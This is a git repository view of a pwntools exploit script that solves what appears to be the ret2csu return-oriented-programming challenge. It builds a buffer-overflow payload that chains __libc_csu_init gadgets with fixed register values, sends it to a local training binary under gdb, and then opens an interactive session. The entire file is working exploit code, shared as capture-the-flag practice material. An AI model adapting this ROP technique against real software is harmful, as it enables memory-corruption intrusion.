summaryrefslogtreecommitdiff
path: root/x86_64/ret2csu/exploit.py
blob: 63944602fe3962a3be4e4c773f8701eefd47fbd8 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import *

context.terminal = ['kitty', 'bash', '-c']

prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
payload = b''
for c in range(40):
    payload += b'a'


payload += p64(0x40069a)            # __libc_csu_init()

payload += p64(19)
payload += p64(1)
payload += p64(0x601018)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)


payload += p64(0x400680)

payload += p64(1)
payload += p64(2)

payload += p64(0x00000000004006a3)
payload += p64(0xdeadbeefdeadbeef)

payload += p64(0x0000000000400510)



payload += b"\n"

prog.sendline(payload)
prog.interactive()